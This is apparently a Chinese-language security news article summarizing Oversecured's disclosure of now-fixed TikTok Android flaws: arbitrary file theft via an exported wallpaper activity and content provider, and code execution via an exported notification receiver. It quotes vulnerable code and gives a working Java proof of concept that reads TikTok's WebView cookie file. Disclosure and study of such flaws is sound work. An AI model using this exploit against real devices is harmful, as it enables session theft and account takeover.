安全公司 Oversecured 研究人員在 TikTok 安卓 app 中發(fā)現(xiàn)了多個高危安全漏洞。其中包括一個利用用戶交互實現(xiàn)任意文件竊取漏洞和 3 個任意代碼執(zhí)行漏洞。攻擊者在受害者安卓設(shè)備上安裝惡意應(yīng)用就可以利用這些漏洞。目前所有這些漏洞都已修復(fù),建議用戶盡快更新到最新版本。
任意文件竊取漏洞
Oversecured 安全研究人員掃描 TikTok 安卓 app 發(fā)現(xiàn) :

活動 com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity 會被導(dǎo)出,然后從 live_wall_paper 密鑰中獲取一個 com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean 類對象,然后寫入靜態(tài)域。然后,app 會從該靜態(tài)域中接收 getVideoPath ( ) ,在 provider com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider 中創(chuàng)建一個 ParcelFileDescriptor,并返回給攻擊者:
public ParcelFileDescriptor openFile ( Uri uri, String str ) throws FileNotFoundException { String str2 = ""; int match = this.f83988g.match ( uri ) ; if ( match == 16 ) { str2 = C30504c.m104774a ( ) .f84038a.getVideoPath ( ) ; } //... try { return ParcelFileDescriptor.open ( new File ( str2 ) , 268435456 ) ;
因為該路徑是完全由攻擊者控制的,因此提供了任意文件的只讀權(quán)限。然后,攻擊者就獲取了 app 私有目錄中保存的任意文件的訪問權(quán)限,還包括歷史記錄、隱私消息和 session key,最終實現(xiàn)對用戶賬戶的完全訪問。
PoC
String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/Default/Cookies"; LiveWallPaperBean bean = new LiveWallPaperBean ( ) ; bean.height = 100; bean.width = 100; bean.id = "1337"; bean.source = theft; bean.thumbnailPath = theft; bean.videoPath = theft; Intent intent = new Intent ( ) ; intent.setClassName ( "com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity" ) ; intent.putExtra ( "live_wall_paper", bean ) ; startActivity ( intent ) ; Uri uri = Uri.parse ( "content://com.zhiliaoapp.musically.wallpapercaller/video_path" ) ; new Handler ( ) .postDelayed ( ( ) -> { try { Log.d ( "evil", IOUtils.toString ( getContentResolver ( ) .openInputStream ( uri ) ) ) ; } catch ( Throwable th ) { throw new RuntimeException ( th ) ; } }, 15000 ) ;
任意代碼執(zhí)行漏洞
所有的代碼執(zhí)行都和兩個獨立的漏洞穿起來:重寫任意文件和從文件中動態(tài)加載代碼。在安卓中有 2 類本地庫文件:app resources ( app.apk/lib/... ) 中保存的庫和從文件中動態(tài)加載的庫。第一類有 owner 和 group,隱私 app 自己也只有這些文件的只讀權(quán)限。但是第二類一般都是用 java.lang.System.load ( path ) 調(diào)用加載的,可以是任意的所有權(quán),這也就是為什么開發(fā)者會選擇該分發(fā)來加載動態(tài)代碼。
Oversecured 研究人員發(fā)現(xiàn)了三種用來創(chuàng)建 PoC 的庫。該漏洞被只運行一次然后就刪除的 app 利用過。庫文件會被寫入 app 的私有目錄,然后 app 在重啟時就會加載。所有與任意代碼執(zhí)行相關(guān)的漏洞都會使得該 app 和其用戶被黑。
研究人員發(fā)給 TikTok 的 PoC 可以獲取保存在私有目錄下的任意文件的訪問權(quán)限,以提供給用戶賬戶和私有消息及視頻的訪問權(quán)限。此外,攻擊者可以根據(jù)權(quán)限做與 TikTok app 類似的事情,包括保存在設(shè)備上的用戶圖片和視頻、下載的視頻和 web 瀏覽器、app 使用時可以用用戶的麥克風(fēng)和攝像頭在用戶不知情的情況下錄制音視頻內(nèi)容、讀取通訊錄。所有獲取的數(shù)據(jù)都會在后臺發(fā)送給攻擊者的服務(wù)器,然后進(jìn)行分析。
利用 NotificationBroadcastReceiver 的漏洞

Broadcast Receiver com.ss.android.ugc.awemepushlib.receiver.NotificationBroadcastReceiver 被導(dǎo)出并從第三方 app 接收消息:
public void onReceive ( Context context, Intent intent ) { if ( context != null && intent != null ) { //... Intent intent2 = ( Intent ) intent.getParcelableExtra ( "contentIntentURI" ) ; if ( "notification_clicked".equals ( action ) ) { //... context.startActivity ( intent2 ) ;
它會從 key contentIntentURI 處接收 intent 并傳遞給 startActivity ( ... ) 。這樣攻擊者就可以用任意數(shù)據(jù)和 flag 值來啟動任意活動。研究人員在 TikTok app 中發(fā)現(xiàn)的 provider 如下:
